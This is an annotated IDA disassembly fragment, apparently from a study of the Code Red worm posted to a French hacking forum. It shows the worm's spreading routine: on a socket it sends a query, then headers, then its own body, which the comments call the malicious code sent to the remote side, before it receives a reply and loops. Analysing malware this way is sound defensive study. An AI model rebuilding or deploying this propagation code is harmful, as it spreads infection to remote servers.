seg000:00000B35 43 inc ebx ; Increment by 1
seg000:00000B36 4B dec ebx ; Decrement by 1
seg000:00000B37 C7 85 4C FE FF FF+ mov dword ptr [ebp-1B4h], 0 ; set counter to 0
seg000:00000B41 8B 45 08 mov eax, [ebp+8] ; load headers
seg000:00000B44 8B 48 64 mov ecx, [eax+64h]
seg000:00000B47 89 8D 64 FE FF FF mov [ebp-19Ch], ecx ; store headers addr at ebp-19c
seg000:00000B4D EB 1E jmp short SETUP_QUERY_TO_SEND ; Jump
seg000:00000B4F ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000B4F
seg000:00000B4F GET_NEXT_QUERY_BYTE: ; CODE XREF: HACK_PAGE+52Bj
seg000:00000B4F 8B 95 64 FE FF FF mov edx, [ebp-19Ch] ; increment the memory pointer to the headers
seg000:00000B55 83 C2 01 add edx, 1 ; Add
seg000:00000B58 89 95 64 FE FF FF mov [ebp-19Ch], edx
seg000:00000B5E 8B 85 4C FE FF FF mov eax, [ebp-1B4h] ; increment the counter
seg000:00000B64 83 C0 01 add eax, 1 ; Add
seg000:00000B67 89 85 4C FE FF FF mov [ebp-1B4h], eax
seg000:00000B6D
seg000:00000B6D SETUP_QUERY_TO_SEND: ; CODE XREF: HACK_PAGE+4FEj
seg000:00000B6D 8B 8D 64 FE FF FF mov ecx, [ebp-19Ch]
seg000:00000B73 0F BE 11 movsx edx, byte ptr [ecx] ; Move with Sign-Extend
seg000:00000B76 85 D2 test edx, edx ; Logical Compare
seg000:00000B78 74 02 jz short SEND_QUERY ; Jump if Zero (ZF=1)
seg000:00000B7A EB D3 jmp short GET_NEXT_QUERY_BYTE ; increment the memory pointer to the headers
seg000:00000B7C ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000B7C
seg000:00000B7C SEND_QUERY: ; CODE XREF: HACK_PAGE+529j
seg000:00000B7C 8B F4 mov esi, esp
seg000:00000B7E 6A 00 push 0 ; no flags
seg000:00000B80 8B 85 4C FE FF FF mov eax, [ebp-1B4h] ; push size of headers
seg000:00000B86 50 push eax
seg000:00000B87 8B 4D 08 mov ecx, [ebp+8]
seg000:00000B8A 8B 51 64 mov edx, [ecx+64h]
seg000:00000B8D 52 push edx ; push addr pointing to headers
seg000:00000B8E 8B 85 78 FE FF FF mov eax, [ebp-188h]
seg000:00000B94 50 push eax ; push sock descriptor
seg000:00000B95 FF 95 C0 FE FF FF call dword ptr [ebp-140h] ; send
seg000:00000B95 ; send the headers
seg000:00000B9B 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000B9D 90 nop ; No Operation
seg000:00000B9E 43 inc ebx ; Increment by 1
seg000:00000B9F 4B dec ebx ; Decrement by 1
seg000:00000BA0 43 inc ebx ; Increment by 1
seg000:00000BA1 4B dec ebx ; Decrement by 1
seg000:00000BA2 C7 85 4C FE FF FF+ mov dword ptr [ebp-1B4h], 0 ; reset counter to 0
seg000:00000BAC 8B 8D 68 FE FF FF mov ecx, [ebp-198h] ; set ebp-19c to our headers
seg000:00000BB2 83 C1 07 add ecx, 7 ; Add
seg000:00000BB5 89 8D 64 FE FF FF mov [ebp-19Ch], ecx
seg000:00000BBB EB 1E jmp short SETUP_HEADERS_TO_SEND ; Jump
seg000:00000BBD ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000BBD
seg000:00000BBD GET_NEXT_HEADERS: ; CODE XREF: HACK_PAGE+599j
seg000:00000BBD 8B 95 64 FE FF FF mov edx, [ebp-19Ch]
seg000:00000BC3 83 C2 01 add edx, 1 ; Add
seg000:00000BC6 89 95 64 FE FF FF mov [ebp-19Ch], edx
seg000:00000BCC 8B 85 4C FE FF FF mov eax, [ebp-1B4h]
seg000:00000BD2 83 C0 01 add eax, 1 ; Add
seg000:00000BD5 89 85 4C FE FF FF mov [ebp-1B4h], eax
seg000:00000BDB
seg000:00000BDB SETUP_HEADERS_TO_SEND: ; CODE XREF: HACK_PAGE+56Cj
seg000:00000BDB 8B 8D 64 FE FF FF mov ecx, [ebp-19Ch]
seg000:00000BE1 0F BE 11 movsx edx, byte ptr [ecx] ; Move with Sign-Extend
seg000:00000BE4 85 D2 test edx, edx ; Logical Compare
seg000:00000BE6 74 02 jz short SEND_HEADERS ; Jump if Zero (ZF=1)
seg000:00000BE8 EB D3 jmp short GET_NEXT_HEADERS ; Jump
seg000:00000BEA ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000BEA
seg000:00000BEA SEND_HEADERS: ; CODE XREF: HACK_PAGE+597j
seg000:00000BEA 8B F4 mov esi, esp
seg000:00000BEC 6A 00 push 0
seg000:00000BEE 8B 85 4C FE FF FF mov eax, [ebp-1B4h] ; push counted size
seg000:00000BF4 50 push eax
seg000:00000BF5 8B 8D 68 FE FF FF mov ecx, [ebp-198h] ; push addr of our headers
seg000:00000BFB 83 C1 07 add ecx, 7 ; Add
seg000:00000BFE 51 push ecx
seg000:00000BFF 8B 95 78 FE FF FF mov edx, [ebp-188h] ; push socket descriptor
seg000:00000C05 52 push edx
seg000:00000C06 FF 95 C0 FE FF FF call dword ptr [ebp-140h] ; send
seg000:00000C0C 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000C0E 90 nop ; No Operation
seg000:00000C0F 43 inc ebx ; Increment by 1
seg000:00000C10 4B dec ebx ; Decrement by 1
seg000:00000C11 43 inc ebx ; Increment by 1
seg000:00000C12 4B dec ebx ; Decrement by 1
seg000:00000C13 8B 45 08 mov eax, [ebp+8] ; get data request size
seg000:00000C16 8B 48 70 mov ecx, [eax+70h]
seg000:00000C19 89 8D 4C FE FF FF mov [ebp-1B4h], ecx ; set counter to data request size
seg000:00000C1F 8B F4 mov esi, esp
seg000:00000C21 6A 00 push 0 ; no flags
seg000:00000C23 8B 95 4C FE FF FF mov edx, [ebp-1B4h] ; push request size
seg000:00000C29 52 push edx
seg000:00000C2A 8B 45 08 mov eax, [ebp+8]
seg000:00000C2D 8B 48 78 mov ecx, [eax+78h] ; get and push data request
seg000:00000C30 51 push ecx
seg000:00000C31 8B 95 78 FE FF FF mov edx, [ebp-188h] ; push sock desc
seg000:00000C37 52 push edx
seg000:00000C38 FF 95 C0 FE FF FF call dword ptr [ebp-140h] ; send
seg000:00000C38 ; this sends the actual malicious code to the remote side
seg000:00000C3E 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000C40 90 nop ; No Operation
seg000:00000C41 43 inc ebx ; Increment by 1
seg000:00000C42 4B dec ebx ; Decrement by 1
seg000:00000C43 43 inc ebx ; Increment by 1
seg000:00000C44 4B dec ebx ; Decrement by 1
seg000:00000C45 C6 85 FC FE FF FF+ mov byte ptr [ebp-104h], 0 ; set ebp-104 to 0
seg000:00000C4C 8B F4 mov esi, esp
seg000:00000C4E 6A 00 push 0 ; no flags
seg000:00000C50 68 00 01 00 00 push 100h ; set 100 len
seg000:00000C55 8D 85 FC FE FF FF lea eax, [ebp-104h] ; push addr of ebp-104
seg000:00000C5B 50 push eax
seg000:00000C5C 8B 8D 78 FE FF FF mov ecx, [ebp-188h] ; push sockdesc
seg000:00000C62 51 push ecx
seg000:00000C63 FF 95 C4 FE FF FF call dword ptr [ebp-13Ch] ; recv
seg000:00000C63 ;
seg000:00000C63 ; receive a response from the remote side
seg000:00000C69 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000C6B 90 nop ; No Operation
seg000:00000C6C 43 inc ebx ; Increment by 1
seg000:00000C6D 4B dec ebx ; Decrement by 1
seg000:00000C6E 43 inc ebx ; Increment by 1
seg000:00000C6F 4B dec ebx ; Decrement by 1
seg000:00000C70 89 85 4C FE FF FF mov [ebp-1B4h], eax ; set counter to data received from recv
seg000:00000C76
seg000:00000C76 SOCK_CLOSE_LOOP: ; CODE XREF: HACK_PAGE+432j
seg000:00000C76 8B F4 mov esi, esp
seg000:00000C78 8B 95 78 FE FF FF mov edx, [ebp-188h]
seg000:00000C7E 52 push edx
seg000:00000C7F FF 95 C8 FE FF FF call dword ptr [ebp-138h] ; closesocket
seg000:00000C85 3B F4 cmp esi, esp ; Compare Two Operands
seg000:00000C87 90 nop ; No Operation
seg000:00000C88 43 inc ebx ; Increment by 1
seg000:00000C89 4B dec ebx ; Decrement by 1
seg000:00000C8A 43 inc ebx ; Increment by 1
seg000:00000C8B 4B dec ebx ; Decrement by 1
seg000:00000C8C
seg000:00000C8C loc_C8C: ; this exits from sub 224, not positive of the end result.
seg000:00000C8C E9 0C FB FF FF jmp DO_THE_WORK
seg000:00000C91 ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc
seg000:00000C91
seg000:00000C91 TIG

[TorTukiTu]

cf. http://forum.hackbbs.org/viewtopic.php?p=27292#27292 pour quelques remarques.